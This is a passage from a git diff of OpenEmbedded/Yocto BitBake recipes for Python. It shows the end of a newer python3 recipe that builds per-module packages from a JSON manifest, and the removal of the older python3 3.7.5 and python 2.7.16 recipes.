+ mv ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}
+
+ #Remove the unneeded copy of target sysconfig data
+ rm -rf ${PKGD}/${libdir}/python-sysconfigdata
+}
+
+# We want bytecode precompiled .py files (.pyc's) by default
+# but the user may set it on their own conf
+INCLUDE_PYCS ?= "1"
+
+python(){
+ import collections, json
+
+ filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
+ # This python changes the datastore based on the contents of a file, so mark
+ # that dependency.
+ bb.parse.mark_dependency(d, filename)
+
+ with open(filename) as manifest_file:
+ manifest_str = manifest_file.read()
+ json_start = manifest_str.find('# EOC') + 6
+ manifest_file.seek(json_start)
+ manifest_str = manifest_file.read()
+ python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
+
+ # First set RPROVIDES for -native case
+ # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
+ pn = 'python3'
+ rprovides = (d.getVar('RPROVIDES') or "").split()
+
+ # ${PN}-misc-native is not in the manifest
+ rprovides.append(pn + '-misc-native')
+
+ for key in python_manifest:
+ pypackage = pn + '-' + key + '-native'
+ if pypackage not in rprovides:
+ rprovides.append(pypackage)
+
+ d.setVar('RPROVIDES:class-native', ' '.join(rprovides))
+
+ # Then work on the target
+ include_pycs = d.getVar('INCLUDE_PYCS')
+
+ packages = d.getVar('PACKAGES').split()
+ pn = d.getVar('PN')
+
+ newpackages=[]
+ for key in python_manifest:
+ pypackage = pn + '-' + key
+
+ if pypackage not in packages:
+ # We need to prepend, otherwise python-misc gets everything
+ # so we use a new variable
+ newpackages.append(pypackage)
+
+ # "Build" python's manifest FILES, RDEPENDS and SUMMARY
+ d.setVar('FILES:' + pypackage, '')
+ for value in python_manifest[key]['files']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ # Add cached files
+ if include_pycs == '1':
+ for value in python_manifest[key]['cached']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ for value in python_manifest[key]['rdepends']:
+ # Make it work with or without $PN
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RDEPENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ for value in python_manifest[key].get('rrecommends', ()):
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RRECOMMENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ d.setVar('SUMMARY:' + pypackage, python_manifest[key]['summary'])
+
+ # Prepending so to avoid python-misc getting everything
+ packages = newpackages + packages
+ d.setVar('PACKAGES', ' '.join(packages))
+ d.setVar('ALLOW_EMPTY:${PN}-modules', '1')
+ d.setVar('ALLOW_EMPTY:${PN}-pkgutil', '1')
+
+ if "pgo" in d.getVar("PACKAGECONFIG").split() and not bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d):
+ bb.fatal("pgo cannot be enabled as there is no qemu-usermode support for this architecture/machine")
+}
+
+# Files needed to create a new manifest
+
+do_create_manifest() {
+ # This task should be run with every new release of Python.
+ # We must ensure that PACKAGECONFIG enables everything when creating
+ # a new manifest, this is to base our new manifest on a complete
+ # native python build, containing all dependencies, otherwise the task
+ # wont be able to find the required files.
+ # e.g. BerkeleyDB is an optional build dependency so it may or may not
+ # be present, we must ensure it is.
+
+ cd ${WORKDIR}
+ # This needs to be executed by python-native and NOT by HOST's python
+ nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
+ cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
+}
+
+# bitbake python -c create_manifest
+# Make sure we have native python ready when we create a new manifest
+addtask do_create_manifest after do_patch do_prepare_recipe_sysroot
+
+# manual dependency additions
+RRECOMMENDS:${PN}-core:append:class-nativesdk = " nativesdk-python3-modules"
+RRECOMMENDS:${PN}-crypt:append:class-target = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+RRECOMMENDS:${PN}-crypt:append:class-nativesdk = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+
+# For historical reasons PN is empty and provided by python3-modules
+FILES:${PN} = ""
+RPROVIDES:${PN}-modules = "${PN}"
+
+FILES:${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
+FILES:${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
+
+# provide python-pyvenv from python3-venv
+RPROVIDES:${PN}-venv += "${MLPREFIX}python3-pyvenv"
+
+# package libpython3
+PACKAGES =+ "libpython3 libpython3-staticdev"
+FILES:libpython3 = "${libdir}/libpython*.so.*"
+FILES:libpython3-staticdev += "${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}-*/libpython${PYTHON_MAJMIN}.a"
+INSANE_SKIP:${PN}-dev += "dev-elf"
+INSANE_SKIP:${PN}-ptest = "dev-deps"
+
+# catch all the rest (unsorted)
+PACKAGES += "${PN}-misc"
+RDEPENDS:${PN}-misc += "\
+ ${PN}-core \
+ ${PN}-email \
+ ${PN}-codecs \
+ ${PN}-pydoc \
+ ${PN}-pickle \
+ ${PN}-audio \
+ ${PN}-numbers \
+"
+RDEPENDS:${PN}-modules:append:class-target = " ${MLPREFIX}python3-misc"
+RDEPENDS:${PN}-modules:append:class-nativesdk = " ${MLPREFIX}python3-misc"
+FILES:${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
+
+# catch manpage
+PACKAGES += "${PN}-man"
+FILES:${PN}-man = "${datadir}/man"
+
+# See https://bugs.python.org/issue18748 and https://bugs.python.org/issue37395
+RDEPENDS:libpython3:append:libc-glibc = " libgcc"
+RDEPENDS:${PN}-ctypes:append:libc-glibc = " ${MLPREFIX}ldconfig"
+RDEPENDS:${PN}-ptest = "${PN}-modules ${PN}-tests ${PN}-dev unzip bzip2 libgcc tzdata-europe coreutils sed"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-tr-tr.iso-8859-9"
+RDEPENDS:${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${MLPREFIX}tk ${MLPREFIX}tk-lib', '', d)}"
+RDEPENDS:${PN}-idle += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${PN}-tkinter ${MLPREFIX}tcl', '', d)}"
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:${PN}-pydoc += "${PN}-io"
+
+RDEPENDS:${PN}-tests:append:class-target = " ${MLPREFIX}bash"
+RDEPENDS:${PN}-tests:append:class-nativesdk = " ${MLPREFIX}bash"
+
+# Python's tests contain large numbers of files we don't need in the recipe sysroots
+SYSROOT_PREPROCESS_FUNCS += " py3_sysroot_cleanup"
+py3_sysroot_cleanup () {
+ rm -rf ${SYSROOT_DESTDIR}${libdir}/python${PYTHON_MAJMIN}/test
+}
diff --git a/meta/recipes-devtools/python/python3_3.7.5.bb b/meta/recipes-devtools/python/python3_3.7.5.bb
deleted file mode 100644
index 0338fa4ba8..0000000000
--- a/meta/recipes-devtools/python/python3_3.7.5.bb
+++ /dev/null
@@ -1,340 +0,0 @@
-SUMMARY = "The Python Programming Language"
-HOMEPAGE = "http://www.python.org"
-LICENSE = "PSFv2"
-SECTION = "devel/python"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e466242989bd33c1bd2b6a526a742498"
-
-SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
- file://run-ptest \
- file://create_manifest3.py \
- file://get_module_deps3.py \
- file://python3-manifest.json \
- file://check_build_completeness.py \
- file://cgi_py.patch \
- file://0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch \
- ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
- file://0001-Do-not-use-the-shell-version-of-python-config-that-w.patch \
- file://python-config.patch \
- file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
- file://0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch \
- file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
- file://0002-Don-t-do-runtime-test-to-get-float-byte-order.patch \
- file://0003-setup.py-pass-missing-libraries-to-Extension-for-mul.patch \
- file://0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch \
- file://0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch \
- file://0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch \
- file://crosspythonpath.patch \
- file://reformat_sysconfig.py \
- file://0001-Use-FLAG_REF-always-for-interned-strings.patch \
- file://0001-test_locale.py-correct-the-test-output-format.patch \
- file://0017-setup.py-do-not-report-missing-dependencies-for-disa.patch \
- "
-
-SRC_URI_append_class-native = " \
- file://0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch \
- file://12-distutils-prefix-is-inside-staging-area.patch \
- "
-SRC_URI_append_class-nativesdk = " \
- file://0001-main.c-if-OEPYTHON3HOME-is-set-use-instead-of-PYTHON.patch \
- "
-
-SRC_URI[md5sum] = "08ed8030b1183107c48f2092e79a87e2"
-SRC_URI[sha256sum] = "e85a76ea9f3d6c485ec1780fca4e500725a4a7bbc63c78ebc44170de9b619d94"
-
-# exclude pre-releases for both python 2.x and 3.x
-UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
-
-CVE_PRODUCT = "python"
-
-PYTHON_MAJMIN = "3.7"
-PYTHON_BINABI = "${PYTHON_MAJMIN}m"
-
-S = "${WORKDIR}/Python-${PV}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
-
-MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
-
-ALTERNATIVE_${PN}-dev = "python3-config"
-ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_BINABI}-config"
-ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_BINABI}-config-${MULTILIB_SUFFIX}"
-
-
-DEPENDS = "bzip2-replacement-native libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux libtirpc libnsl2"
-DEPENDS_append_class-target = " python3-native"
-DEPENDS_append_class-nativesdk = " python3-native"
-
-EXTRA_OECONF = " --without-ensurepip --enable-shared"
-EXTRA_OECONF_append_class-native = " --bindir=${bindir}/${PN}"
-
-export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
-
-EXTRANATIVEPATH += "python3-native"
-
-CACHED_CONFIGUREVARS = " \
- ac_cv_file__dev_ptmx=yes \
- ac_cv_file__dev_ptc=no \
- ac_cv_working_tzset=yes \
-"
-python() {
- # PGO currently causes builds to not be reproducible, so disable it for
- # now. See YOCTO #13407
- if bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d) and d.getVar('BUILD_REPRODUCIBLE_BINARIES') != '1':
- d.setVar('PACKAGECONFIG_PGO', 'pgo')
- else:
- d.setVar('PACKAGECONFIG_PGO', '')
-}
-
-PACKAGECONFIG_class-target ??= "readline ${PACKAGECONFIG_PGO} gdbm"
-PACKAGECONFIG_class-native ??= "readline gdbm"
-PACKAGECONFIG_class-nativesdk ??= "readline gdbm"
-PACKAGECONFIG[readline] = ",,readline"
-# Use profile guided optimisation by running PyBench inside qemu-user
-PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
-PACKAGECONFIG[tk] = ",,tk"
-PACKAGECONFIG[gdbm] = ",,gdbm"
-
-do_configure_prepend () {
- mkdir -p ${B}/Modules
- cat > ${B}/Modules/Setup.local << EOF
-*disabled*
-${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
-${@bb.utils.contains('PACKAGECONFIG', 'readline', '', 'readline', d)}
-EOF
-}
-
-CPPFLAGS_append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
-
-EXTRA_OEMAKE = '\
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- LIB=${baselib} \
-'
-
-do_compile_prepend_class-target() {
- if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
- qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])}"
- cat >pgo-wrapper <<EOF
-#!/bin/sh
-cd ${B}
-$qemu_binary "\$@"
-EOF
- chmod +x pgo-wrapper
- fi
-}
-
-do_install_prepend() {
- ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
-}
-
-do_install_append_class-target() {
- oe_multilib_header python${PYTHON_BINABI}/pyconfig.h
-}
-
-do_install_append_class-native() {
- # Make sure we use /usr/bin/env python
- for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
- sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
- done
- # Add a symlink to the native Python so that scripts can just invoke
- # "nativepython" and get the right one without needing absolute paths
- # (these often end up too long for the #! parser in the kernel as the
- # buffer is 128 bytes long).
- ln -s python3-native/python3 ${D}${bindir}/nativepython3
-}
-
-do_install_append() {
- mkdir -p ${D}${libdir}/python-sysconfigdata
- sysconfigfile=`find ${D} -name _sysconfig*.py`
- cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-
- sed -i \
- -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
- -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "/^ 'INCLDIRSTOMAKE'/{N; s,/usr/include,${STAGING_INCDIR},g}" \
- -e "/^ 'INCLUDEPY'/s,/usr/include,${STAGING_INCDIR},g" \
- ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-}
-
-do_install_append_class-nativesdk () {
- create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} OEPYTHON3HOME='${prefix}' TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
-}
-
-SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
-PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
-
-py_package_preprocess () {
- # Remove references to buildmachine paths in target Makefile and _sysconfigdata
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${PKGD}/${prefix}/lib/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
- ${PKGD}/${bindir}/python${PYTHON_BINABI}-config
-
- # Reformat _sysconfigdata after modifying it so that it remains
- # reproducible
- for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
- python3 ${WORKDIR}/reformat_sysconfig.py $c
- done
-
- # Recompile _sysconfigdata after modifying it
- cd ${PKGD}
- sysconfigfile=`find . -name _sysconfigdata_*.py`
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile')"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
- cd -
-
- mv ${PKGD}/${bindir}/python${PYTHON_BINABI}-config ${PKGD}/${bindir}/python${PYTHON_BINABI}-config-${MULTILIB_SUFFIX}
-
- #Remove the unneeded copy of target sysconfig data
- rm -rf ${PKGD}/${libdir}/python-sysconfigdata
-}
-
-# We want bytecode precompiled .py files (.pyc's) by default
-# but the user may set it on their own conf
-INCLUDE_PYCS ?= "1"
-
-python(){
- import collections, json
-
- filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
- # This python changes the datastore based on the contents of a file, so mark
- # that dependency.
- bb.parse.mark_dependency(d, filename)
-
- with open(filename) as manifest_file:
- manifest_str = manifest_file.read()
- json_start = manifest_str.find('# EOC') + 6
- manifest_file.seek(json_start)
- manifest_str = manifest_file.read()
- python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
-
- # First set RPROVIDES for -native case
- # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
- pn = 'python3'
- rprovides = d.getVar('RPROVIDES').split()
-
- for key in python_manifest:
- pypackage = pn + '-' + key + '-native'
- if pypackage not in rprovides:
- rprovides.append(pypackage)
-
- d.setVar('RPROVIDES_class-native', ' '.join(rprovides))
-
- # Then work on the target
- include_pycs = d.getVar('INCLUDE_PYCS')
-
- packages = d.getVar('PACKAGES').split()
- pn = d.getVar('PN')
-
- newpackages=[]
- for key in python_manifest:
- pypackage = pn + '-' + key
-
- if pypackage not in packages:
- # We need to prepend, otherwise python-misc gets everything
- # so we use a new variable
- newpackages.append(pypackage)
-
- # "Build" python's manifest FILES, RDEPENDS and SUMMARY
- d.setVar('FILES_' + pypackage, '')
- for value in python_manifest[key]['files']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- # Add cached files
- if include_pycs == '1':
- for value in python_manifest[key]['cached']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- for value in python_manifest[key]['rdepends']:
- # Make it work with or without $PN
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RDEPENDS_' + pypackage, ' ' + pn + '-' + value)
-
- for value in python_manifest[key].get('rrecommends', ()):
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RRECOMMENDS_' + pypackage, ' ' + pn + '-' + value)
-
- d.setVar('SUMMARY_' + pypackage, python_manifest[key]['summary'])
-
- # Prepending so to avoid python-misc getting everything
- packages = newpackages + packages
- d.setVar('PACKAGES', ' '.join(packages))
- d.setVar('ALLOW_EMPTY_${PN}-modules', '1')
-}
-
-# Files needed to create a new manifest
-
-do_create_manifest() {
- # This task should be run with every new release of Python.
- # We must ensure that PACKAGECONFIG enables everything when creating
- # a new manifest, this is to base our new manifest on a complete
- # native python build, containing all dependencies, otherwise the task
- # wont be able to find the required files.
- # e.g. BerkeleyDB is an optional build dependency so it may or may not
- # be present, we must ensure it is.
-
- cd ${WORKDIR}
- # This needs to be executed by python-native and NOT by HOST's python
- nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
- cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
-}
-
-# bitbake python -c create_manifest
-addtask do_create_manifest
-
-# Make sure we have native python ready when we create a new manifest
-do_create_manifest[depends] += "${PN}:do_prepare_recipe_sysroot"
-do_create_manifest[depends] += "${PN}:do_patch"
-
-# manual dependency additions
-RRECOMMENDS_${PN}-core_append_class-nativesdk = " nativesdk-python3-modules"
-RRECOMMENDS_${PN}-crypt_append_class-target = " openssl ca-certificates"
-RRECOMMENDS_${PN}-crypt_append_class-nativesdk = " openssl ca-certificates"
-
-# For historical reasons PN is empty and provided by python3-modules
-FILES_${PN} = ""
-RPROVIDES_${PN}-modules = "${PN}"
-
-FILES_${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
-FILES_${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
-
-# provide python-pyvenv from python3-venv
-RPROVIDES_${PN}-venv += "python3-pyvenv"
-
-# package libpython3
-PACKAGES =+ "libpython3 libpython3-staticdev"
-FILES_libpython3 = "${libdir}/libpython*.so.*"
-FILES_libpython3-staticdev += "${prefix}/lib/python${PYTHON_MAJMIN}/config-${PYTHON_BINABI}-*/libpython${PYTHON_BINABI}.a"
-INSANE_SKIP_${PN}-dev += "dev-elf"
-
-# catch all the rest (unsorted)
-PACKAGES += "${PN}-misc"
-RDEPENDS_${PN}-misc += "python3-core python3-email python3-codecs python3-pydoc python3-pickle"
-RDEPENDS_${PN}-modules_append_class-target = " python3-misc"
-RDEPENDS_${PN}-modules_append_class-nativesdk = " python3-misc"
-FILES_${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
-
-# catch manpage
-PACKAGES += "${PN}-man"
-FILES_${PN}-man = "${datadir}/man"
-
-RDEPENDS_${PN}-ptest = "${PN}-modules ${PN}-tests unzip bzip2 libgcc tzdata-europe coreutils sed"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-tr-tr.iso-8859-9"
-RDEPENDS_${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', 'tk tk-lib', '', d)}"
-RDEPENDS_${PN}-dev = ""
-
diff --git a/meta/recipes-devtools/python/python_2.7.16.bb b/meta/recipes-devtools/python/python_2.7.16.bb
deleted file mode 100644
index 625c5312a6..0000000000
--- a/meta/recipes-devtools/python/python_2.7.16.bb
+++ /dev/null
@@ -1,270 +0,0 @@
-require python.inc
-
-DEPENDS = "python-native libffi bzip2 gdbm openssl \
- readline sqlite3 zlib virtual/crypt"
-
-DISTRO_SRC_URI ?= "file://sitecustomize.py"
-DISTRO_SRC_URI_linuxstdbase = ""
-SRC_URI += " \
- file://01-use-proper-tools-for-cross-build.patch \
- file://03-fix-tkinter-detection.patch \
- file://06-avoid_usr_lib_termcap_path_in_linking.patch \
- ${DISTRO_SRC_URI} \
- file://multilib.patch \
- file://cgi_py.patch \
- file://setup_py_skip_cross_import_check.patch \
- file://add-md5module-support.patch \
- file://host_include_contamination.patch \
- file://fix_for_using_different_libdir.patch \
- file://setuptweaks.patch \
- file://check-if-target-is-64b-not-host.patch \
- file://search_db_h_in_inc_dirs_and_avoid_warning.patch \
- ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
- file://avoid_warning_for_sunos_specific_module.patch \
- file://python-2.7.3-remove-bsdb-rpath.patch \
- file://run-ptest \
- file://parallel-makeinst-create-bindir.patch \
- file://use_sysroot_ncurses_instead_of_host.patch \
- file://add-CROSSPYTHONPATH-for-PYTHON_FOR_BUILD.patch \
- file://pass-missing-libraries-to-Extension-for-mul.patch \
- file://support_SOURCE_DATE_EPOCH_in_py_compile_2.7.patch \
- file://float-endian.patch \
- file://0001-python2-use-cc_basename-to-replace-CC-for-checking-c.patch \
- file://0001-2.7-bpo-34155-Dont-parse-domains-containing-GH-13079.patch \
- file://bpo-36742-cve-2019-10160.patch \
- file://0001-2.7-bpo-38243-Escape-the-server-title-of-DocXMLRPCSe.patch \
-"
-
-S = "${WORKDIR}/Python-${PV}"
-
-inherit autotools multilib_header python-dir pythonnative ptest
-
-CONFIGUREOPTS += " --with-system-ffi "
-
-EXTRA_OECONF += "ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=no ac_cv_working_tzset=yes"
-
-PACKAGECONFIG ??= "bdb"
-PACKAGECONFIG[bdb] = ",,db"
-PACKAGECONFIG[tk] = ",,tk"
-
-do_configure_append() {
- rm -f ${S}/Makefile.orig
- autoreconf -Wcross --verbose --install --force --exclude=autopoint ../Python-${PV}/Modules/_ctypes/libffi
-}
-
-do_compile() {
- # regenerate platform specific files, because they depend on system headers
- cd ${S}/Lib/plat-linux2
- include=${STAGING_INCDIR} ${STAGING_BINDIR_NATIVE}/python-native/python \
- ${S}/Tools/scripts/h2py.py -i '(u_long)' \
- ${STAGING_INCDIR}/dlfcn.h \
- ${STAGING_INCDIR}/linux/cdrom.h \
- ${STAGING_INCDIR}/netinet/in.h \
- ${STAGING_INCDIR}/sys/types.h
- sed -e 's,${STAGING_DIR_HOST},,g' -i *.py
- cd -
-
- # remove any bogus LD_LIBRARY_PATH
- sed -i -e s,RUNSHARED=.*,RUNSHARED=, Makefile
-
- if [ ! -f Makefile.orig ]; then
- install -m 0644 Makefile Makefile.orig
- fi
- sed -i -e 's#^LDFLAGS=.*#LDFLAGS=${LDFLAGS} -L. -L${STAGING_LIBDIR}#g' \
- -e 's,libdir=${libdir},libdir=${STAGING_LIBDIR},g' \
- -e 's,libexecdir=${libexecdir},libexecdir=${STAGING_DIR_HOST}${libexecdir},g' \
- -e 's,^LIBDIR=.*,LIBDIR=${STAGING_LIBDIR},g' \
- -e 's,includedir=${includedir},includedir=${STAGING_INCDIR},g' \
- -e 's,^INCLUDEDIR=.*,INCLUDE=${STAGING_INCDIR},g' \
- -e 's,^CONFINCLUDEDIR=.*,CONFINCLUDE=${STAGING_INCDIR},g' \
- Makefile
- # save copy of it now, because if we do it in do_install and
- # then call do_install twice we get Makefile.orig == Makefile.sysroot
- install -m 0644 Makefile Makefile.sysroot
-
- export CROSS_COMPILE="${TARGET_PREFIX}"
- export PYTHONBUILDDIR="${B}"
-
- oe_runmake HOSTPGEN=${STAGING_BINDIR_NATIVE}/python-native/pgen \
- HOSTPYTHON=${STAGING_BINDIR_NATIVE}/python-native/python \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_BASELIBDIR=${STAGING_BASELIBDIR} \
- OPT="${CFLAGS}"
-}
-
-do_install() {
- # make install needs the original Makefile, or otherwise the inclues would
- # go to ${D}${STAGING...}/...
- install -m 0644 Makefile.orig Makefile
-
- export CROSS_COMPILE="${TARGET_PREFIX}"
- export PYTHONBUILDDIR="${B}"
-
- # After swizzling the makefile, we need to run the build again.
- # install can race with the build so we have to run this first, then install
- oe_runmake HOSTPGEN=${STAGING_BINDIR_NATIVE}/python-native/pgen \
- HOSTPYTHON=${STAGING_BINDIR_NATIVE}/python-native/python \
- CROSSPYTHONPATH=${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/ \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_BASELIBDIR=${STAGING_BASELIBDIR} \
- DESTDIR=${D} LIBDIR=${libdir}
-
- oe_runmake HOSTPGEN=${STAGING_BINDIR_NATIVE}/python-native/pgen \
- HOSTPYTHON=${STAGING_BINDIR_NATIVE}/python-native/python \
- CROSSPYTHONPATH=${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/ \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_BASELIBDIR=${STAGING_BASELIBDIR} \
- DESTDIR=${D} LIBDIR=${libdir} install
-
- install -m 0644 Makefile.sysroot ${D}/${libdir}/python${PYTHON_MAJMIN}/config/Makefile
-
- if [ -e ${WORKDIR}/sitecustomize.py ]; then
- install -m 0644 ${WORKDIR}/sitecustomize.py ${D}/${libdir}/python${PYTHON_MAJMIN}
- fi
-
- oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
-
- if [ -z "${@bb.utils.filter('PACKAGECONFIG', 'bdb', d)}" ]; then
- rm -rf ${D}/${libdir}/python${PYTHON_MAJMIN}/bsddb
- fi
-
- # Python 3.x version of 2to3 is now the default
- mv ${D}/${bindir}/2to3 ${D}/${bindir}/2to3-${PYTHON_MAJMIN}
-}
-
-do_install_append_class-nativesdk () {
- create_wrapper ${D}${bindir}/python2.7 PYTHONHOME='${prefix}' TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
-}
-
-SSTATE_SCAN_FILES += "Makefile"
-PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
-
-py_package_preprocess () {
- # copy back the old Makefile to fix target package
- install -m 0644 ${B}/Makefile.orig ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config/Makefile
-
- # Remove references to buildmachine paths in target Makefile and _sysconfigdata
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config/Makefile \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata.py
- (cd ${PKGD}; python -m py_compile ./${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata.py)
-}
-
-PACKAGES_remove = "${PN}"
-
-# manual dependency additions
-RPROVIDES_${PN}-modules = "${PN}"
-RRECOMMENDS_${PN}-core_append_class-nativesdk = " nativesdk-python-modules"
-RRECOMMENDS_${PN}-crypt = "openssl"
-
-# package libpython2
-PACKAGES =+ "lib${BPN}2"
-FILES_lib${BPN}2 = "${libdir}/libpython*.so.*"
-
-# catch all the rest (unsorted)
-PACKAGES += "${PN}-misc"
-FILES_${PN}-misc = "${libdir}/python${PYTHON_MAJMIN}"
-RDEPENDS_${PN}-modules += "${PN}-misc"
-
-# ptest
